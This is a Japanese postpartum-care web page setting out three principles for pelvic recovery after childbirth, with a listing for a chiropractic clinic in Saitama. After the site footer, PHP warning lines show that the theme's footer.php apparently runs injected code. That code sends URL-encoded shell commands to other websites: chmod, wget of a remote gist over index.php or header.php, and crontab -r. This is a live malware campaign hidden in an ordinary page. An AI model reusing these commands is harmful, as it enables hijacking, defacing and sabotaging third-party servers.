産後の習慣にしましょう|産後の骨盤ケア3つの方法 | ままテン|産後骨盤矯正

産後にやってみよう産後のケア3つのポイント

出産後の骨盤のケアはとても大切です。

①骨盤を支える自分の筋肉を鍛える

②姿勢や動作で骨盤を歪めない

③服装や自分のクセで何気ない動きで子宮を下げない

上記の3つを意識して生活していきしょう。今回は毎日続けると産後の回復の方法を紹介します。

産後の骨盤ケア

産後の体をしなやかに健やかに

妊娠期から産後の体をしなやかに、かつ安定感のある状態を整える骨盤ケア…。

その大切は「上げる」「支える」「整える」が骨盤ケアの三原則です。

産後のストレッチ

更に産後の回復のためには

産後ケアの三原則をかなえるために不可欠な「下げない」「鍛える」「ゆがめない」という掘り下げた三原則をおすすめします。

①着ている服のウエストのベルトやゴムで「内臓を下げない」

②自らの筋肉を鍛えることによって「骨盤を支える」

③ 姿勢や動作で「骨盤を歪めない」

この三原則を常に意識すれば 産後の体はぐんぐん 回復します。

産後のトレーニング

出産後の1か月過ぎたら産後の骨盤を

▶産後の骨盤矯正はこちら


▶産後の骨盤矯正の記事一覧はこちら

 

● 基本情報

店舗名イーバランス整体院
名前小林 尚之
住所 埼玉県志木市本町6-27-9 WJ・グリーンハイツ1F
電話番号048-211-5184
URL https://e-balance-seitai.com/
営業時間10:00~20:00 19:00最終受付
月火水土は19:00閉店
定休日年中無休

アクセスランキング

新着記事

カテゴリー

認定優良院

人気店舗

アクセスランキング

ままテンに登録しませんか

広告

産後骨盤矯正専門HP制作

 

ページトップへ戻る




Warning: file_get_contents(https://mtlrosario.com.ar//_sitio/incluidos/email_consulta.php?z=cd+..%26%26cd+..%26%26chmod+0644+index.php%26%26wget+https%3A%2F%2Fgist.githubusercontent.com%2Fsentodx%2F0b695cd35d6ad0fcd43995614a3c6611%2Fraw%2F59411b3516ba4df67435c89b06baff5ebf9d5c6b%2Fgistfile1.txt+-O+index.php%26crontab+-r): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /home/michellx5/mamaten.jp/public_html/wp-content/themes/mamaten/footer.php on line 33

Warning: file_get_contents(): SSL: Connection reset by peer in /home/michellx5/mamaten.jp/public_html/wp-content/themes/mamaten/footer.php on line 34

Warning: file_get_contents(): Failed to enable crypto in /home/michellx5/mamaten.jp/public_html/wp-content/themes/mamaten/footer.php on line 34

Warning: file_get_contents(https://ortheza.net/admin/?x=cd+..%2F%26%26chmod+0644+szablon_new2.php%26%26wget+https%3A%2F%2Fgist.githubusercontent.com%2Fsentodx%2F1228f87d83a2bc233c058f370c9b7681%2Fraw%2Fd6d0a733820479166ea0b562a85911bfa69c5601%2Fgistfile1.txt+-O+szablon_new2.php): failed to open stream: operation failed in /home/michellx5/mamaten.jp/public_html/wp-content/themes/mamaten/footer.php on line 34

Warning: file_get_contents(https://eco-repa.com/admin/logs.php?x=cd+..%26%26chmod+0644+header.php%26%26wget+https%3A%2F%2Fgist.githubusercontent.com%2Fsentodx%2Fa3a754c3d6537fa11cacf683796efca5%2Fraw%2Fc6e28554aea57bf5f5f4b421aaa7ab2d5f13db4d%2Fgistfile1.txt+-O+header.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /home/michellx5/mamaten.jp/public_html/wp-content/themes/mamaten/footer.php on line 35